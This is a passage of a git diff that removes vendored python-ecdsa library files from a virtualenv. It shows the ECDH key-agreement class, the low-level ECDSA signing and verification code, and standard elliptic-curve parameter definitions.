pass - - -class NoCurveError(Exception): - """ECDH. Curve not set but it is needed for operation.""" - - pass - - -class InvalidCurveError(Exception): - """ - ECDH. Raised in case the public and private keys use different curves. - """ - - pass - - -class InvalidSharedSecretError(Exception): - """ECDH. Raised in case the shared secret we obtained is an INFINITY.""" - - pass - - -class ECDH(object): - """ - Elliptic-curve Diffie-Hellman (ECDH). A key agreement protocol. - - Allows two parties, each having an elliptic-curve public-private key - pair, to establish a shared secret over an insecure channel - """ - - def __init__(self, curve=None, private_key=None, public_key=None): - """ - ECDH init. - - Call can be initialised without parameters, then the first operation - (loading either key) will set the used curve. - All parameters must be ultimately set before shared secret - calculation will be allowed. - - :param curve: curve for operations - :type curve: Curve - :param private_key: `my` private key for ECDH - :type private_key: SigningKey - :param public_key: `their` public key for ECDH - :type public_key: VerifyingKey - """ - self.curve = curve - self.private_key = None - self.public_key = None - if private_key: - self.load_private_key(private_key) - if public_key: - self.load_received_public_key(public_key) - - def _get_shared_secret(self, remote_public_key): - if not self.private_key: - raise NoKeyError( - "Private key needs to be set to create shared secret" - ) - if not self.public_key: - raise NoKeyError( - "Public key needs to be set to create shared secret" - ) - if not ( - self.private_key.curve == self.curve == remote_public_key.curve - ): - raise InvalidCurveError( - "Curves for public key and private key is not equal." - ) - - # shared secret = PUBKEYtheirs * PRIVATEKEYours - result = ( - remote_public_key.pubkey.point - * self.private_key.privkey.secret_multiplier - ) - if result == INFINITY: - raise InvalidSharedSecretError("Invalid shared secret (INFINITY).") - - return result.x() - - def set_curve(self, key_curve): - """ - Set the working curve for ecdh operations. - - :param key_curve: curve from `curves` module - :type key_curve: Curve - """ - self.curve = key_curve - - def generate_private_key(self): - """ - Generate local private key for ecdh operation with curve that was set. - - :raises NoCurveError: Curve must be set before key generation. - - :return: public (verifying) key from this private key. - :rtype: VerifyingKey - """ - if not self.curve: - raise NoCurveError("Curve must be set prior to key generation.") - return self.load_private_key(SigningKey.generate(curve=self.curve)) - - def load_private_key(self, private_key): - """ - Load private key from SigningKey (keys.py) object. - - Needs to have the same curve as was set with set_curve method. - If curve is not set - it sets from this SigningKey - - :param private_key: Initialised SigningKey class - :type private_key: SigningKey - - :raises InvalidCurveError: private_key curve not the same as self.curve - - :return: public (verifying) key from this private key. - :rtype: VerifyingKey - """ - if not self.curve: - self.curve = private_key.curve - if self.curve != private_key.curve: - raise InvalidCurveError("Curve mismatch.") - self.private_key = private_key - return self.private_key.get_verifying_key() - - def load_private_key_bytes(self, private_key): - """ - Load private key from byte string. - - Uses current curve and checks if the provided key matches - the curve of ECDH key agreement. - Key loads via from_string method of SigningKey class - - :param private_key: private key in bytes string format - :type private_key: :term:`bytes-like object` - - :raises NoCurveError: Curve must be set before loading. - - :return: public (verifying) key from this private key. - :rtype: VerifyingKey - """ - if not self.curve: - raise NoCurveError("Curve must be set prior to key load.") - return self.load_private_key( - SigningKey.from_string(private_key, curve=self.curve) - ) - - def load_private_key_der(self, private_key_der): - """ - Load private key from DER byte string. - - Compares the curve of the DER-encoded key with the ECDH set curve, - uses the former if unset. - - Note, the only DER format supported is the RFC5915 - Look at keys.py:SigningKey.from_der() - - :param private_key_der: string with the DER encoding of private ECDSA - key - :type private_key_der: string - - :raises InvalidCurveError: private_key curve not the same as self.curve - - :return: public (verifying) key from this private key. - :rtype: VerifyingKey - """ - return self.load_private_key(SigningKey.from_der(private_key_der)) - - def load_private_key_pem(self, private_key_pem): - """ - Load private key from PEM string. - - Compares the curve of the DER-encoded key with the ECDH set curve, - uses the former if unset. - - Note, the only PEM format supported is the RFC5915 - Look at keys.py:SigningKey.from_pem() - it needs to have `EC PRIVATE KEY` section - - :param private_key_pem: string with PEM-encoded private ECDSA key - :type private_key_pem: string - - :raises InvalidCurveError: private_key curve not the same as self.curve - - :return: public (verifying) key from this private key. - :rtype: VerifyingKey - """ - return self.load_private_key(SigningKey.from_pem(private_key_pem)) - - def get_public_key(self): - """ - Provides a public key that matches the local private key. - - Needs to be sent to the remote party. - - :return: public (verifying) key from local private key. - :rtype: VerifyingKey - """ - return self.private_key.get_verifying_key() - - def load_received_public_key(self, public_key): - """ - Load public key from VerifyingKey (keys.py) object. - - Needs to have the same curve as set as current for ecdh operation. - If curve is not set - it sets it from VerifyingKey. - - :param public_key: Initialised VerifyingKey class - :type public_key: VerifyingKey - - :raises InvalidCurveError: public_key curve not the same as self.curve - """ - if not self.curve: - self.curve = public_key.curve - if self.curve != public_key.curve: - raise InvalidCurveError("Curve mismatch.") - self.public_key = public_key - - def load_received_public_key_bytes( - self, public_key_str, valid_encodings=None - ): - """ - Load public key from byte string. - - Uses current curve and checks if key length corresponds to - the current curve. - Key loads via from_string method of VerifyingKey class - - :param public_key_str: public key in bytes string format - :type public_key_str: :term:`bytes-like object` - :param valid_encodings: list of acceptable point encoding formats, - supported ones are: :term:`uncompressed`, :term:`compressed`, - :term:`hybrid`, and :term:`raw encoding` (specified with ``raw`` - name). All formats by default (specified with ``None``). - :type valid_encodings: :term:`set-like object` - """ - return self.load_received_public_key( - VerifyingKey.from_string( - public_key_str, self.curve, valid_encodings - ) - ) - - def load_received_public_key_der(self, public_key_der): - """ - Load public key from DER byte string. - - Compares the curve of the DER-encoded key with the ECDH set curve, - uses the former if unset. - - Note, the only DER format supported is the RFC5912 - Look at keys.py:VerifyingKey.from_der() - - :param public_key_der: string with the DER encoding of public ECDSA key - :type public_key_der: string - - :raises InvalidCurveError: public_key curve not the same as self.curve - """ - return self.load_received_public_key( - VerifyingKey.from_der(public_key_der) - ) - - def load_received_public_key_pem(self, public_key_pem): - """ - Load public key from PEM string. - - Compares the curve of the PEM-encoded key with the ECDH set curve, - uses the former if unset. - - Note, the only PEM format supported is the RFC5912 - Look at keys.py:VerifyingKey.from_pem() - - :param public_key_pem: string with PEM-encoded public ECDSA key - :type public_key_pem: string - - :raises InvalidCurveError: public_key curve not the same as self.curve - """ - return self.load_received_public_key( - VerifyingKey.from_pem(public_key_pem) - ) - - def generate_sharedsecret_bytes(self): - """ - Generate shared secret from local private key and remote public key. - - The objects needs to have both private key and received public key - before generation is allowed. - - :raises InvalidCurveError: public_key curve not the same as self.curve - :raises NoKeyError: public_key or private_key is not set - - :return: shared secret - :rtype: bytes - """ - return number_to_string( - self.generate_sharedsecret(), self.private_key.curve.curve.p() - ) - - def generate_sharedsecret(self): - """ - Generate shared secret from local private key and remote public key. - - The objects needs to have both private key and received public key - before generation is allowed. - - It's the same for local and remote party, - shared secret(local private key, remote public key) == - shared secret(local public key, remote private key) - - :raises InvalidCurveError: public_key curve not the same as self.curve - :raises NoKeyError: public_key or private_key is not set - - :return: shared secret - :rtype: int - """ - return self._get_shared_secret(self.public_key) diff --git a/venv/Lib/site-packages/ecdsa/ecdsa.py b/venv/Lib/site-packages/ecdsa/ecdsa.py deleted file mode 100644 index f7109659e69f19ff9cfc211925cdaae13c0478dc..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/ecdsa.py +++ /dev/null @@ -1,1094 +0,0 @@ -#! /usr/bin/env python - -""" -Low level implementation of Elliptic-Curve Digital Signatures. - -.. note :: - You're most likely looking for the :py:class:`~ecdsa.keys` module. - This is a low-level implementation of the ECDSA that operates on - integers, not byte strings. - -NOTE: This a low level implementation of ECDSA, for normal applications -you should be looking at the keys.py module. - -Classes and methods for elliptic-curve signatures: -private keys, public keys, signatures, -and definitions of prime-modulus curves. - -Example: - -.. code-block:: python - - # (In real-life applications, you would probably want to - # protect against defects in SystemRandom.) - from random import SystemRandom - randrange = SystemRandom().randrange - - # Generate a public/private key pair using the NIST Curve P-192: - - g = generator_192 - n = g.order() - secret = randrange( 1, n ) - pubkey = Public_key( g, g * secret ) - privkey = Private_key( pubkey, secret ) - - # Signing a hash value: - - hash = randrange( 1, n ) - signature = privkey.sign( hash, randrange( 1, n ) ) - - # Verifying a signature for a hash value: - - if pubkey.verifies( hash, signature ): - print("Demo verification succeeded.") - else: - print("*** Demo verification failed.") - - # Verification fails if the hash value is modified: - - if pubkey.verifies( hash-1, signature ): - print("**** Demo verification failed to reject tampered hash.") - else: - print("Demo verification correctly rejected tampered hash.") - -Revision history: - 2005.12.31 - Initial version. - - 2008.11.25 - Substantial revisions introducing new classes. - - 2009.05.16 - Warn against using random.randrange in real applications. - - 2009.05.17 - Use random.SystemRandom by default. - -Originally written in 2005 by Peter Pearson and placed in the public domain, -modified as part of the python-ecdsa package. -""" - -import warnings -from six import int2byte -from . import ellipticcurve -from . import numbertheory -from .util import bit_length -from ._compat import remove_whitespace - - -class RSZeroError(RuntimeError): - pass - - -class InvalidPointError(RuntimeError): - pass - - -class Signature(object): - """ - ECDSA signature. - - :ivar int r: the ``r`` element of the ECDSA signature - :ivar int s: the ``s`` element of the ECDSA signature - """ - - def __init__(self, r, s): - self.r = r - self.s = s - - def recover_public_keys(self, hash, generator): - """ - Returns two public keys for which the signature is valid - - :param int hash: signed hash - :param AbstractPoint generator: is the generator used in creation - of the signature - :rtype: tuple(Public_key, Public_key) - :return: a pair of public keys that can validate the signature - """ - curve = generator.curve() - n = generator.order() - r = self.r - s = self.s - e = hash - x = r - - # Compute the curve point with x as x-coordinate - alpha = ( - pow(x, 3, curve.p()) + (curve.a() * x) + curve.b() - ) % curve.p() - beta = numbertheory.square_root_mod_prime(alpha, curve.p()) - y = beta if beta % 2 == 0 else curve.p() - beta - - # Compute the public key - R1 = ellipticcurve.PointJacobi(curve, x, y, 1, n) - Q1 = numbertheory.inverse_mod(r, n) * (s * R1 + (-e % n) * generator) - Pk1 = Public_key(generator, Q1) - - # And the second solution - R2 = ellipticcurve.PointJacobi(curve, x, -y, 1, n) - Q2 = numbertheory.inverse_mod(r, n) * (s * R2 + (-e % n) * generator) - Pk2 = Public_key(generator, Q2) - - return [Pk1, Pk2] - - -class Public_key(object): - """Public key for ECDSA.""" - - def __init__(self, generator, point, verify=True): - """Low level ECDSA public key object. - - :param generator: the Point that generates the group (the base point) - :param point: the Point that defines the public key - :param bool verify: if True check if point is valid point on curve - - :raises InvalidPointError: if the point parameters are invalid or - point does not lay on the curve - """ - - self.curve = generator.curve() - self.generator = generator - self.point = point - n = generator.order() - p = self.curve.p() - if not (0 <= point.x() < p) or not (0 <= point.y() < p): - raise InvalidPointError( - "The public point has x or y out of range." - ) - if verify and not self.curve.contains_point(point.x(), point.y()): - raise InvalidPointError("Point does not lay on the curve") - if not n: - raise InvalidPointError("Generator point must have order.") - # for curve parameters with base point with cofactor 1, all points - # that are on the curve are scalar multiples of the base point, so - # verifying that is not necessary. See Section 3.2.2.1 of SEC 1 v2 - if ( - verify - and self.curve.cofactor() != 1 - and not n * point == ellipticcurve.INFINITY - ): - raise InvalidPointError("Generator point order is bad.") - - def __eq__(self, other): - """Return True if the keys are identical, False otherwise. - - Note: for comparison, only placement on the same curve and point - equality is considered, use of the same generator point is not - considered. - """ - if isinstance(other, Public_key): - return self.curve == other.curve and self.point == other.point - return NotImplemented - - def __ne__(self, other): - """Return False if the keys are identical, True otherwise.""" - return not self == other - - def verifies(self, hash, signature): - """Verify that signature is a valid signature of hash. - Return True if the signature is valid. - """ - - # From X9.62 J.3.1. - - G = self.generator - n = G.order() - r = signature.r - s = signature.s - if r < 1 or r > n - 1: - return False - if s < 1 or s > n - 1: - return False - c = numbertheory.inverse_mod(s, n) - u1 = (hash * c) % n - u2 = (r * c) % n - if hasattr(G, "mul_add"): - xy = G.mul_add(u1, self.point, u2) - else: - xy = u1 * G + u2 * self.point - v = xy.x() % n - return v == r - - -class Private_key(object): - """Private key for ECDSA.""" - - def __init__(self, public_key, secret_multiplier): - """public_key is of class Public_key; - secret_multiplier is a large integer. - """ - - self.public_key = public_key - self.secret_multiplier = secret_multiplier - - def __eq__(self, other): - """Return True if the points are identical, False otherwise.""" - if isinstance(other, Private_key): - return ( - self.public_key == other.public_key - and self.secret_multiplier == other.secret_multiplier - ) - return NotImplemented - - def __ne__(self, other): - """Return False if the points are identical, True otherwise.""" - return not self == other - - def sign(self, hash, random_k): - """Return a signature for the provided hash, using the provided - random nonce. It is absolutely vital that random_k be an unpredictable - number in the range [1, self.public_key.point.order()-1]. If - an attacker can guess random_k, he can compute our private key from a - single signature. Also, if an attacker knows a few high-order - bits (or a few low-order bits) of random_k, he can compute our private - key from many signatures. The generation of nonces with adequate - cryptographic strength is very difficult and far beyond the scope - of this comment. - - May raise RuntimeError, in which case retrying with a new - random value k is in order. - """ - - G = self.public_key.generator - n = G.order() - k = random_k % n - # Fix the bit-length of the random nonce, - # so that it doesn't leak via timing. - # This does not change that ks = k mod n - ks = k + n - kt = ks + n - if bit_length(ks) == bit_length(n): - p1 = kt * G - else: - p1 = ks * G - r = p1.x() % n - if r == 0: - raise RSZeroError("amazingly unlucky random number r") - s = ( - numbertheory.inverse_mod(k, n) - * (hash + (self.secret_multiplier * r) % n) - ) % n - if s == 0: - raise RSZeroError("amazingly unlucky random number s") - return Signature(r, s) - - -def int_to_string(x): # pragma: no cover - """Convert integer x into a string of bytes, as per X9.62.""" - # deprecated in 0.19 - warnings.warn( - "Function is unused in library code. If you use this code, " - "change to util.number_to_string.", - DeprecationWarning, - ) - assert x >= 0 - if x == 0: - return b"\0" - result = [] - while x: - ordinal = x & 0xFF - result.append(int2byte(ordinal)) - x >>= 8 - - result.reverse() - return b"".join(result) - - -def string_to_int(s): # pragma: no cover - """Convert a string of bytes into an integer, as per X9.62.""" - # deprecated in 0.19 - warnings.warn( - "Function is unused in library code. If you use this code, " - "change to util.string_to_number.", - DeprecationWarning, - ) - result = 0 - for c in s: - if not isinstance(c, int): - c = ord(c) - result = 256 * result + c - return result - - -def digest_integer(m): # pragma: no cover - """Convert an integer into a string of bytes, compute - its SHA-1 hash, and convert the result to an integer.""" - # deprecated in 0.19 - warnings.warn( - "Function is unused in library code. If you use this code, " - "change to a one-liner with util.number_to_string and " - "util.string_to_number methods.", - DeprecationWarning, - ) - # - # I don't expect this function to be used much. I wrote - # it in order to be able to duplicate the examples - # in ECDSAVS. - # - from hashlib import sha1 - - return string_to_int(sha1(int_to_string(m)).digest()) - - -def point_is_valid(generator, x, y): - """Is (x,y) a valid public key based on the specified generator?""" - - # These are the tests specified in X9.62. - - n = generator.order() - curve = generator.curve() - p = curve.p() - if not (0 <= x < p) or not (0 <= y < p): - return False - if not curve.contains_point(x, y): - return False - if ( - curve.cofactor() != 1 - and not n * ellipticcurve.PointJacobi(curve, x, y, 1) - == ellipticcurve.INFINITY - ): - return False - return True - - -# secp112r1 curve -_p = int(remove_whitespace("DB7C 2ABF62E3 5E668076 BEAD208B"), 16) -# s = 00F50B02 8E4D696E 67687561 51752904 72783FB1 -_a = int(remove_whitespace("DB7C 2ABF62E3 5E668076 BEAD2088"), 16) -_b = int(remove_whitespace("659E F8BA0439 16EEDE89 11702B22"), 16) -_Gx = int(remove_whitespace("09487239 995A5EE7 6B55F9C2 F098"), 16) -_Gy = int(remove_whitespace("A89C E5AF8724 C0A23E0E 0FF77500"), 16) -_r = int(remove_whitespace("DB7C 2ABF62E3 5E7628DF AC6561C5"), 16) -_h = 1 -curve_112r1 = ellipticcurve.CurveFp(_p, _a, _b, _h) -generator_112r1 = ellipticcurve.PointJacobi( - curve_112r1, _Gx, _Gy, 1, _r, generator=True -) - - -# secp112r2 curve -_p = int(remove_whitespace("DB7C 2ABF62E3 5E668076 BEAD208B"), 16) -# s = 022757A1 114D69E 67687561 51755316 C05E0BD4 -_a = int(remove_whitespace("6127 C24C05F3 8A0AAAF6 5C0EF02C"), 16) -_b = int(remove_whitespace("51DE F1815DB5 ED74FCC3 4C85D709"), 16) -_Gx = int(remove_whitespace("4BA30AB5 E892B4E1 649DD092 8643"), 16) -_Gy = int(remove_whitespace("ADCD 46F5882E 3747DEF3 6E956E97"), 16) -_r = int(remove_whitespace("36DF 0AAFD8B8 D7597CA1 0520D04B"), 16) -_h = 4 -curve_112r2 = ellipticcurve.CurveFp(_p, _a, _b, _h) -generator_112r2 = ellipticcurve.PointJacobi( - curve_112r2, _Gx, _Gy, 1, _r, generator=True -) - - -# secp128r1 curve -_p = int(remove_whitespace("FFFFFFFD FFFFFFFF FFFFFFFF FFFFFFFF"), 16) -# S = 000E0D4D 69E6768 75615175 0CC03A44 73D03679 -# a and b are mod p, so a is equal to p-3, or simply -3 -# _a = -3 -_b = int(remove_whitespace("E87579C1 1079F43D D824993C 2CEE5ED3"), 16) -_Gx = int(remove_whitespace("161FF752 8B899B2D 0C28607C A52C5B86"), 16) -_Gy = int(remove_whitespace("CF5AC839 5BAFEB13 C02DA292 DDED7A83"), 16) -_r = int(remove_whitespace("FFFFFFFE 00000000 75A30D1B 9038A115"), 16) -_h = 1 -curve_128r1 = ellipticcurve.CurveFp(_p, -3, _b, _h) -generator_128r1 = ellipticcurve.PointJacobi( - curve_128r1, _Gx, _Gy, 1, _r, generator=True -) - - -# secp160r1 -_p = int(remove_whitespace("FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFF 7FFFFFFF"), 16) -# S = 1053CDE4 2C14D696 E6768756 1517533B F3F83345 -# a and b are mod p, so a is equal to p-3, or simply -3 -# _a = -3 -_b = int(remove_whitespace("1C97BEFC 54BD7A8B 65ACF89F 81D4D4AD C565FA45"), 16) -_Gx = int( - remove_whitespace("4A96B568 8EF57328 46646989 68C38BB9 13CBFC82"), - 16, -) -_Gy = int( - remove_whitespace("23A62855 3168947D 59DCC912 04235137 7AC5FB32"), - 16, -) -_r = int( - remove_whitespace("01 00000000 00000000 0001F4C8 F927AED3 CA752257"), - 16, -) -_h = 1 -curve_160r1 = ellipticcurve.CurveFp(_p, -3, _b, _h) -generator_160r1 = ellipticcurve.PointJacobi( - curve_160r1, _Gx, _Gy, 1, _r, generator=True -) - - -# NIST Curve P-192: -_p = 6277101735386680763835789423207666416083908700390324961279 -_r = 6277101735386680763835789423176059013767194773182842284081 -# s = 0x3045ae6fc8422f64ed579528d38120eae12196d5L -# c = 0x3099d2bbbfcb2538542dcd5fb078b6ef5f3d6fe2c745de65L -_b = int( - remove_whitespace( - """ - 64210519 E59C80E7 0FA7E9AB 72243049 FEB8DEEC C146B9B1""" - ), - 16, -) -_Gx = int( - remove_whitespace( - """ - 188DA80E B03090F6 7CBF20EB 43A18800 F4FF0AFD 82FF1012""" - ), - 16, -) -_Gy = int( - remove_whitespace( - """ - 07192B95 FFC8DA78 631011ED 6B24CDD5 73F977A1 1E794811""" - ), - 16, -) - -curve_192 = ellipticcurve.CurveFp(_p, -3, _b, 1) -generator_192 = ellipticcurve.PointJacobi( - curve_192, _Gx, _Gy, 1, _r, generator=True -) - - -# NIST Curve P-224: -_p = int( - remove_whitespace( - """ - 2695994666715063979466701508701963067355791626002630814351 - 0066298881""" - ) -) -_r = int( - remove_whitespace( - """ - 2695994666715063979466701508701962594045780771442439172168 - 2722368061""" - ) -) -# s = 0xbd71344799d5c7fcdc45b59fa3b9ab8f6a948bc5L -# c = 0x5b056c7e11dd68f40469ee7f3c7a7d74f7d121116506d031218291fbL -_b = int( - remove_whitespace( - """ - B4050A85 0C04B3AB F5413256 5044B0B7 D7BFD8BA 270B3943 - 2355FFB4""" - ), - 16, -) -_Gx = int( - remove_whitespace( - """ - B70E0CBD 6BB4BF7F 321390B9 4A03C1D3 56C21122 343280D6 - 115C1D21""" - ), - 16, -) -_Gy = int( - remove_whitespace( - """ - BD376388 B5F723FB 4C22DFE6 CD4375A0 5A074764 44D58199 - 85007E34""" - ), - 16, -) - -curve_224 = ellipticcurve.CurveFp(_p, -3, _b, 1) -generator_224 = ellipticcurve.PointJacobi( - curve_224, _Gx, _Gy, 1, _r, generator=True -) - -# NIST Curve P-256: -_p = int( - remove_whitespace( - """ - 1157920892103562487626974469494075735300861434152903141955 - 33631308867097853951""" - ) -) -_r = int( - remove_whitespace( - """ - 115792089210356248762697446949407573529996955224135760342 - 422259061068512044369""" - ) -) -# s = 0xc49d360886e704936a6678e1139d26b7819f7e90L -# c = 0x7efba1662985be9403cb055c75d4f7e0ce8d84a9c5114abcaf3177680104fa0dL -_b = int( - remove_whitespace( - """ - 5AC635D8 AA3A93E7 B3EBBD55 769886BC 651D06B0 CC53B0F6 - 3BCE3C3E 27D2604B""" - ), - 16, -) -_Gx = int( - remove_whitespace( - """ - 6B17D1F2 E12C4247 F8BCE6E5 63A440F2 77037D81 2DEB33A0 - F4A13945 D898C296""" - ), - 16, -) -_Gy = int( - remove_whitespace( - """ - 4FE342E2 FE1A7F9B 8EE7EB4A 7C0F9E16 2BCE3357 6B315ECE - CBB64068 37BF51F5""" - ), - 16, -) - -curve_256 = ellipticcurve.CurveFp(_p, -3, _b, 1) -generator_256 = ellipticcurve.PointJacobi( - curve_256, _Gx, _Gy, 1, _r, generator=True -) - -# NIST Curve P-384: -_p = int( - remove_whitespace( - """ - 3940200619639447921227904010014361380507973927046544666794 - 8293404245721771496870329047266088258938001861606973112319""" - ) -) -_r = int( - remove_whitespace( - """ - 3940200619639447921227904010014361380507973927046544666794 - 6905279627659399113263569398956308152294913554433653942643""" - ) -) -# s = 0xa335926aa319a27a1d00896a6773a4827acdac73L -# c = int(remove_whitespace( -# """ -# 79d1e655 f868f02f ff48dcde e14151dd b80643c1 406d0ca1 -# 0dfe6fc5 2009540a 495e8042 ea5f744f 6e184667 cc722483""" -# ), 16) -_b = int( - remove_whitespace( - """ - B3312FA7 E23EE7E4 988E056B E3F82D19 181D9C6E FE814112 - 0314088F 5013875A C656398D 8A2ED19D 2A85C8ED D3EC2AEF""" - ), - 16, -) -_Gx = int( - remove_whitespace( - """ - AA87CA22 BE8B0537 8EB1C71E F320AD74 6E1D3B62 8BA79B98 - 59F741E0 82542A38 5502F25D BF55296C 3A545E38 72760AB7""" - ), - 16, -) -_Gy = int( - remove_whitespace( - """ - 3617DE4A 96262C6F 5D9E98BF 9292DC29 F8F41DBD 289A147C - E9DA3113 B5F0B8C0 0A60B1CE 1D7E819D 7A431D7C 90EA0E5F""" - ), - 16, -) - -curve_384 = ellipticcurve.CurveFp(_p, -3, _b, 1) -generator_384 = ellipticcurve.PointJacobi( - curve_384, _Gx, _Gy, 1, _r, generator=True -) - -# NIST Curve P-521: -_p = int( - "686479766013060971498190079908139321726943530014330540939" - "446345918554318339765605212255964066145455497729631139148" - "0858037121987999716643812574028291115057151" -) -_r = int( - "686479766013060971498190079908139321726943530014330540939" - "446345918554318339765539424505774633321719753296399637136" - "3321113864768612440380340372808892707005449" -) -# s = 0xd09e8800291cb85396cc6717393284aaa0da64baL -# c = int(remove_whitespace( -# """ -# 0b4 8bfa5f42 0a349495 39d2bdfc 264eeeeb 077688e4 -# 4fbf0ad8 f6d0edb3 7bd6b533 28100051 8e19f1b9 ffbe0fe9 -# ed8a3c22 00b8f875 e523868c 70c1e5bf 55bad637""" -# ), 16) -_b = int( - remove_whitespace( - """ - 051 953EB961 8E1C9A1F 929A21A0 B68540EE A2DA725B - 99B315F3 B8B48991 8EF109E1 56193951 EC7E937B 1652C0BD - 3BB1BF07 3573DF88 3D2C34F1 EF451FD4 6B503F00""" - ), - 16, -) -_Gx = int( - remove_whitespace( - """ - C6 858E06B7 0404E9CD 9E3ECB66 2395B442 9C648139 - 053FB521 F828AF60 6B4D3DBA A14B5E77 EFE75928 FE1DC127 - A2FFA8DE 3348B3C1 856A429B F97E7E31 C2E5BD66""" - ), - 16, -) -_Gy = int( - remove_whitespace( - """ - 118 39296A78 9A3BC004 5C8A5FB4 2C7D1BD9 98F54449 - 579B4468 17AFBD17 273E662C 97EE7299 5EF42640 C550B901 - 3FAD0761 353C7086 A272C240 88BE9476 9FD16650""" - ), - 16, -) - -curve_521 = ellipticcurve.CurveFp(_p, -3, _b, 1) -generator_521 = ellipticcurve.PointJacobi( - curve_521, _Gx, _Gy, 1, _r, generator=True -) - -# Certicom secp256-k1 -_a = 0x0000000000000000000000000000000000000000000000000000000000000000 -_b = 0x0000000000000000000000000000000000000000000000000000000000000007 -_p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F -_Gx = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798 -_Gy = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8 -_r = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - -curve_secp256k1 = ellipticcurve.CurveFp(_p, _a, _b, 1) -generator_secp256k1 = ellipticcurve.PointJacobi( - curve_secp256k1, _Gx, _Gy, 1, _r, generator=True -) - -# Brainpool P-160-r1 -_a = 0x340E7BE2A280EB74E2BE61BADA745D97E8F7C300 -_b = 0x1E589A8595423412134FAA2DBDEC95C8D8675E58 -_p = 0xE95E4A5F737059DC60DFC7AD95B3D8139515620F -_Gx = 0xBED5AF16EA3F6A4F62938C4631EB5AF7BDBCDBC3 -_Gy = 0x1667CB477A1A8EC338F94741669C976316DA6321 -_q = 0xE95E4A5F737059DC60DF5991D45029409E60FC09 - -curve_brainpoolp160r1 = ellipticcurve.CurveFp(_p, _a, _b, 1) -generator_brainpoolp160r1 = ellipticcurve.PointJacobi( - curve_brainpoolp160r1, _Gx, _Gy, 1, _q, generator=True -) - -# Brainpool P-160-t1 -_a = 0xE95E4A5F737059DC60DFC7AD95B3D8139515620C -_b = 0x7A556B6DAE535B7B51ED2C4D7DAA7A0B5C55F380 -# _z = 0x24DBFF5DEC9B986BBFE5295A29BFBAE45E0F5D0B -_Gx = 0xB199B13B9B34EFC1397E64BAEB05ACC265FF2378 -_Gy = 0xADD6718B7C7C1961F0991B842443772152C9E0AD -_q = 0xE95E4A5F737059DC60DF5991D45029409E60FC09 -curve_brainpoolp160t1 = ellipticcurve.CurveFp(_p, _a, _b, 1) -generator_brainpoolp160t1 = ellipticcurve.PointJacobi( - curve_brainpoolp160t1, _Gx, _Gy, 1, _q, generator=True -) - -# Brainpool P-192-r1 -_a = 0x6A91174076B1E0E19C39C031FE8685C1CAE040E5C69A28EF -_b = 0x469A28EF7C28CCA3DC721D044F4496BCCA7EF4146FBF25C9 -_p = 0xC302F41D932A36CDA7A3463093D18DB78FCE476DE1A86297 -_Gx = 0xC0A0647EAAB6A48753B033C56CB0F0900A2F5C4853375FD6 -_Gy = 0x14B690866ABD5BB88B5F4828C1490002E6773FA2FA299B8F -_q = 0xC302F41D932A36CDA7A3462F9E9E916B5BE8F1029AC4ACC1 - -curve_brainpoolp192r1 = ellipticcurve.CurveFp(_p, _a, _b, 1) -generator_brainpoolp192r1 = ellipticcurve.PointJacobi( - curve_brainpoolp192r1, _Gx, _Gy, 1, _q, generator=True -) - -# Brainpool P-192-t1 -_a = 0xC302F41D932A36CDA7A3463093D18DB78FCE476DE1A86294 -_b = 0x13D56FFAEC78681E68F9DEB43B35BEC2FB68542E27897B79 -# _z = 0x1B6F5CC8DB4DC7AF19458A9CB80DC2295E5EB9C3732104CB -_Gx = 0x3AE9E58C82F63C30282E1FE7BBF43FA72C446AF6F4618129 -_Gy = 0x097E2C5667C2223A902AB5CA449D0084B7E5B3DE7CCC01C9 -_q = 0xC302F41D932A36CDA7A3462F9E9E916B5BE8F1029AC4ACC1 - -curve_brainpoolp192t1 = ellipticcurve.CurveFp(_p, _a, _b, 1) -generator_brainpoolp192t1 = ellipticcurve.PointJacobi( - curve_brainpoolp192t1, _Gx, _Gy, 1, _q, generator=True -) - -# Brainpool P-224-r1 -_a = 0x68A5E62CA9CE6C1C299803A6C1530B514E182AD8B0042A59CAD29F43 -_b = 0x2580F63CCFE44138870713B1A92369E33E2135D266DBB372386C400B -_p = 0xD7C134AA264366862A18302575D1D787B09F075797DA89F57EC8C0FF -_Gx = 0x0D9029AD2C7E5CF4340823B2A87DC68C9E4CE3174C1E6EFDEE12C07D -_Gy = 0x58AA56F772C0726F24C6B89E4ECDAC24354B9E99CAA3F6D3761402CD -_q = 0xD7C134AA264366862A18302575D0FB98D116BC4B6DDEBCA3A5A7939F - -curve_brainpoolp224r1 = ellipticcurve.CurveFp(_p, _a, _b, 1) -generator_brainpoolp224r1 = ellipticcurve.PointJacobi( - curve_brainpoolp224r1, _Gx, _Gy, 1, _q, generator=True -) - -# Brainpool P-224-t1 -_a = 0xD7C134AA264366862A18302575D1D787B09F075797DA89F57EC8C0FC -_b = 0x4B337D934104CD7BEF271BF60CED1ED20DA14C08B3BB64F18A60888D -# _z = 0x2DF271E14427A346910CF7A2E6CFA7B3F484E5C2CCE1C8B730E28B3F -_Gx = 0x6AB1E344CE25FF3896424E7FFE14762ECB49F8928AC0C76029B4D580 -_Gy = 0x0374E9F5143E568CD23F3F4D7C0D4B1E41C8CC0D1C6ABD5F1A46DB4C -_q = 0xD7C134AA264366862A18302575D0FB98D116BC4B6DDEBCA3A5A7939F - -curve_brainpoolp224t1 = ellipticcurve.CurveFp(_p, _a, _b, 1) -generator_brainpoolp224t1 = ellipticcurve.PointJacobi( - curve_brainpoolp224t1, _Gx, _Gy, 1, _q, generator=True -) - -# Brainpool P-256-r1 -_a = 0x7D5A0975FC2C3057EEF67530417AFFE7FB8055C126DC5C6CE94A4B44F330B5D9 -_b = 0x26DC5C6CE94A4B44F330B5D9BBD77CBF958416295CF7E1CE6BCCDC18FF8C07B6 -_p = 0xA9FB57DBA1EEA9BC3E660A909D838D726E3BF623D52620282013481D1F6E5377 -_Gx = 0x8BD2AEB9CB7E57CB2C4B482FFC81B7AFB9DE27E1E3BD23C23A4453BD9ACE3262 -_Gy = 0x547EF835C3DAC4FD97F8461A14611DC9C27745132DED8E545C1D54C72F046997 -_q = 0xA9FB57DBA1EEA9BC3E660A909D838D718C397AA3B561A6F7901E0E82974856A7 - -curve_brainpoolp256r1 = 